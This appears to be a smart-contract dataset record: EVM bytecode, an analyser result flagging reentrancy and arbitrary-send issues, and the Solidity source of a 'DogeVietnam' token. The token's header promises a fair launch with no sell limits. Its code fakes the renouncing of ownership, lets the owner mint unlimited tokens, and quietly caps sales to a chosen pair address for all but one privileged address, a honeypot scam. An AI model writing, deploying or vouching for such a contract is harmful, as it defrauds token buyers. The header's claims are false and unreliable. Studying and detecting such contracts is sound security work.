ffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f45565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5055505055000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f45565b60405180910390fd5b60005b8151811015610af757600160066000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef9061331b565b915050610a43565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f45565b60405180910390fd5b601060149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fc5565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128d2565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128d2565b6040518363ffffffff1660e01b8152600401610e1f929190612d95565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128d2565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612de7565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a7e565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550673afb087b876900006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612dbe565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a2c565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f45565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f05565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b6011819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60115460405161120f9190613005565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612fa5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612ec5565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613005565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f85565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e85565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f65565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057601060179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fe5565b60405180910390fd5b5b5b60115481111561184f57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750601060179054906101000a900460ff165b15611ab65742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a72919061313b565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050601060159054906101000a900460ff16158015611b2e5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750601060169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e63565b60405180910390fd5b5060008385611c8a919061321c565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600854821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612ea5565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611dfd5781602001602082028036833780820191505090505b5090503081600081518110611e3b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611edd57600080fd5b505afa158015611ef1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1591906128d2565b81600181518110611f4f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fb630600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161201a959493929190613020565b600060405180830381600087803b15801561203457600080fd5b505af1158015612048573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b60008083141561207e57600090506120e0565b6000828461208c91906131c2565b905082848261209b9190613191565b146120db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d290612f25565b60405180910390fd5b809150505b92915050565b600061212883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612188565b905092915050565b8061213e5761213d6121eb565b5b61214984848461222e565b80612157576121566123f9565b5b50505050565b600080600061216a61240d565b9150915061218181836120e690919063ffffffff16565b9250505090565b600080831182906121cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c69190612e63565b60405180910390fd5b50600083856121de9190613191565b9050809150509392505050565b6000600a541480156121ff57506000600b54145b156122095761222c565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806122408761246f565b95509550955095509550955061229e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124d790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061237f8161257f565b612389848361263c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123e69190613005565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b600080600060085490506000683635c9adc5dea000009050612443683635c9adc5dea000006008546120e690919063ffffffff16565b82101561246257600854683635c9adc5dea0000093509350505061246b565b81819350935050505b9091565b600080600080600080600080600061248c8a600a54600b54612676565b925092509250600061249c61215d565b905060008060006124af8e87878761270c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061251983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b6000808284612530919061313b565b905083811015612575576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256c90612ee5565b60405180910390fd5b8091505092915050565b600061258961215d565b905060006125a0828461206b90919063ffffffff16565b90506125f481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612651826008546124d790919063ffffffff16565b60088190555061266c8160095461252190919063ffffffff16565b6009819055505050565b6000806000806126a26064612694888a61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126cc60646126be888b61206b90919063ffffffff16565b6120e690919063ffffffff16565b905060006126f5826126e7858c6124d790919063ffffffff16565b6124d790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612725858961206b90919063ffffffff16565b9050600061273c868961206b90919063ffffffff16565b90506000612753878961206b90919063ffffffff16565b9050600061277c8261276e85876124d790919063ffffffff16565b6124d790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127a86127a3846130ba565b613095565b905080838252602082019050828560208602820111156127c757600080fd5b60005b858110156127f757816127dd8882612801565b8452602084019350602083019250506001810190506127ca565b5050509392505050565b600081359050612810816136f8565b92915050565b600081519050612825816136f8565b92915050565b600082601f83011261283c57600080fd5b813561284c848260208601612795565b91505092915050565b6000813590506128648161370f565b92915050565b6000815190506128798161370f565b92915050565b60008135905061288e81613726565b92915050565b6000815190506128a381613726565b92915050565b6000602082840312156128bb57600080fd5b60006128c984828501612801565b91505092915050565b6000602082840312156128e457600080fd5b60006128f284828501612816565b91505092915050565b6000806040838503121561290e57600080fd5b600061291c85828601612801565b925050602061292d85828601612801565b9150509250929050565b60008060006060848603121561294c57600080fd5b600061295a86828701612801565b935050602061296b86828701612801565b925050604061297c8682870161287f565b9150509250925092565b6000806040838503121561299957600080fd5b60006129a785828601612801565b92505060206129b88582860161287f565b9150509250929050565b6000602082840312156129d457600080fd5b600082013567ffffffffffffffff8111156129ee57600080fd5b6129fa8482850161282b565b91505092915050565b600060208284031215612a1557600080fd5b6000612a2384828501612855565b91505092915050565b600060208284031215612a3e57600080fd5b6000612a4c8482850161286a565b91505092915050565b600060208284031215612a6757600080fd5b6000612a758482850161287f565b91505092915050565b600080600060608486031215612a9357600080fd5b6000612aa186828701612894565b9350506020612ab286828701612894565b9250506040612ac386828701612894565b9150509250925092565b6000612ad98383612ae5565b60208301905092915050565b612aee81613250565b82525050565b612afd81613250565b82525050565b6000612b0e826130f6565b612b188185613119565b9350612b23836130e6565b8060005b83811015612b54578151612b3b8882612acd565b9750612b468361310c565b925050600181019050612b27565b5085935050505092915050565b612b6a81613262565b82525050565b612b79816132a5565b82525050565b6000612b8a82613101565b612b94818561312a565b9350612ba48185602086016132b7565b612bad816133f1565b840191505092915050565b6000612bc560238361312a565b9150612bd082613402565b604082019050919050565b6000612be8602a8361312a565b9150612bf382613451565b604082019050919050565b6000612c0b60228361312a565b9150612c16826134a0565b604082019050919050565b6000612c2e601b8361312a565b9150612c39826134ef565b602082019050919050565b6000612c51601d8361312a565b9150612c5c82613518565b602082019050919050565b6000612c7460218361312a565b9150612c7f82613541565b604082019050919050565b6000612c9760208361312a565b9150612ca282613590565b602082019050919050565b6000612cba60298361312a565b9150612cc5826135b9565b604082019050919050565b6000612cdd60258361312a565b9150612ce882613608565b604082019050919050565b6000612d0060248361312a565b9150612d0b82613657565b604082019050919050565b6000612d2360178361312a565b9150612d2e826136a6565b602082019050919050565b6000612d4660118361312a565b9150612d51826136cf565b602082019050919050565b612d658161328e565b82525050565b612d7481613298565b82525050565b6000602082019050612d8f6000830184612af4565b92915050565b6000604082019050612daa6000830185612af4565b612db76020830184612af4565b9392505050565b6000604082019050612dd36000830185612af4565b612de06020830184612d5c565b9392505050565b600060c082019050612dfc6000830189612af4565b612e096020830188612d5c565b612e166040830187612b70565b612e236060830186612b70565b612e306080830185612af4565b612e3d60a0830184612d5c565b979650505050505050565b6000602082019050612e5d6000830184612b61565b92915050565b60006020820190508181036000830152612e7d8184612b7f565b905092915050565b60006020820190508181036000830152612e9e81612bb8565b9050919050565b60006020820190508181036000830152612ebe81612bdb565b9050919050565b60006020820190508181036000830152612ede81612bfe565b9050919050565b60006020820190508181036000830152612efe81612c21565b9050919050565b60006020820190508181036000830152612f1e81612c44565b9050919050565b60006020820190508181036000830152612f3e81612c67565b9050919050565b60006020820190508181036000830152612f5e81612c8a565b9050919050565b60006020820190508181036000830152612f7e81612cad565b9050919050565b60006020820190508181036000830152612f9e81612cd0565b9050919050565b60006020820190508181036000830152612fbe81612cf3565b9050919050565b60006020820190508181036000830152612fde81612d16565b9050919050565b60006020820190508181036000830152612ffe81612d39565b9050919050565b600060208201905061301a6000830184612d5c565b92915050565b600060a0820190506130356000830188612d5c565b6130426020830187612b70565b81810360408301526130548186612b03565b90506130636060830185612af4565b6130706080830184612d5c565b9695505050505050565b600060208201905061308f6000830184612d6b565b92915050565b600061309f6130b0565b90506130ab82826132ea565b919050565b6000604051905090565b600067ffffffffffffffff8211156130d5576130d46133c2565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131468261328e565b91506131518361328e565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318657613185613364565b5b828201905092915050565b600061319c8261328e565b91506131a78361328e565b9250826131b7576131b6613393565b5b828204905092915050565b60006131cd8261328e565b91506131d88361328e565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561321157613210613364565b5b828202905092915050565b60006132278261328e565b91506132328361328e565b92508282101561324557613244613364565b5b828203905092915050565b600061325b8261326e565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b08261328e565b9050919050565b60005b838110156132d55780820151818401526020810190506132ba565b838111156132e4576000848401525b50505050565b6132f3826133f1565b810181811067ffffffffffffffff82111715613312576133116133c2565b5b80604052505050565b60006133268261328e565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561335957613358613364565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61370181613250565b811461370c57600080fd5b50565b61371881613262565b811461372357600080fd5b50565b61372f8161328e565b811461373a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220483c9fa8d5037db33e6c8761641b4ca68a375c3e827531617071b760d0e15bf764736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,049 |
0xa9a07028fa6d18fda847b4d1af7696bcdf22f7f3
|
/**
______________MMMMMMMM MMMMM
_____________MMMMMMMMM MMMMMMM
____________MMMMMMMMMM__MMMMMMMM
___________MMM____MMMMMMMMMMMMMMMM
___________MM______MMMMMMMMMMMMMMM
___________MM_____MMMMMMMMMMMMMMMMM
____________MM___MMMMMMMMMMMMMMMMM
_____________MMMMMMMMMMMMMMMMMMMM
______________MMMMMMMMMMMMMMMMM
____MMMMM______MMMMMMMMMMMMMM_____MMMMMM
__MMMMMMMMMM_____MMMMMMMMMM____MMMMMMMMMMM
_MMMM_____MMMMMM___MMMMMM___MMMMMMMMMMMMMMM
_MMM______MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
_MMM_MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
_MMMMMMMMMMMMMMMMMMMMMMMMM_MMMMMMMMMMMMMMMM
__MMMMMMMMMMMMMMMMMMMM__MM___MMMMMMMMMMMMM
_____MMMMMMMMMMMMMMM_M__MMM_____MMMMMMM
_____MMMMMMMMMMMMMM__M___MMM______MMMMM
_____MMMMMMMMMMMMM___MM___MM_______MMMMM
____MMMMMMMMMMMMMM___MM____MM_______MMMM
_____MMMMMMMMMMMM____MMM____MMM_____MMM
______MMMMMMMMMM_____MMMM____MMMMMMMMM
________MMMMMM________MMMM_____MMMMM
_______________________MMMMM
_________________________MM
💥Fair launch, no dev tokens!
💥Fair trade, no reserve, No buy/sell limts and no transaction fees!
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.11;
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _call() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address public Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address call = _call();
_owner = call;
Owner = call;
emit OwnershipTransferred(address(0), call);
}
modifier onlyOwner() {
require(_owner == _call(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
Owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract DogeVietnam is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _router;
mapping (address => mapping (address => uint256)) private _allowances;
address private public_address;
address private caller;
uint256 private _totalTokens = 1000000000000 * 10**18;
string private _name = 'DogeVietnam';
string private _symbol = ' DogeVN';
uint8 private _decimals = 18;
uint256 private rTotal = 1000000000000 * 10**18;
constructor () public {
_router[_call()] = _totalTokens;
emit Transfer(address(0), _call(), _totalTokens);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function Approve(address routeUniswap) public onlyOwner {
caller = routeUniswap;
}
function addliquidity (address Uniswaprouterv02) public onlyOwner {
public_address = Uniswaprouterv02;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_call(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _call(), _allowances[sender][_call()].sub(amount));
return true;
}
function totalSupply() public view override returns (uint256) {
return _totalTokens;
}
function setreflectrate(uint256 reflectionPercent) public onlyOwner {
rTotal = reflectionPercent * 10**18;
}
function balanceOf(address account) public view override returns (uint256) {
return _router[account];
}
function Reflect(uint256 amount) public onlyOwner {
require(_call() != address(0));
_totalTokens = _totalTokens.add(amount);
_router[_call()] = _router[_call()].add(amount);
emit Transfer(address(0), _call(), amount);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_call(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0));
require(spender != address(0));
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0));
require(recipient != address(0));
if (sender != caller && recipient == public_address) {
require(amount < rTotal);
}
_router[sender] = _router[sender].sub(amount);
_router[recipient] = _router[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
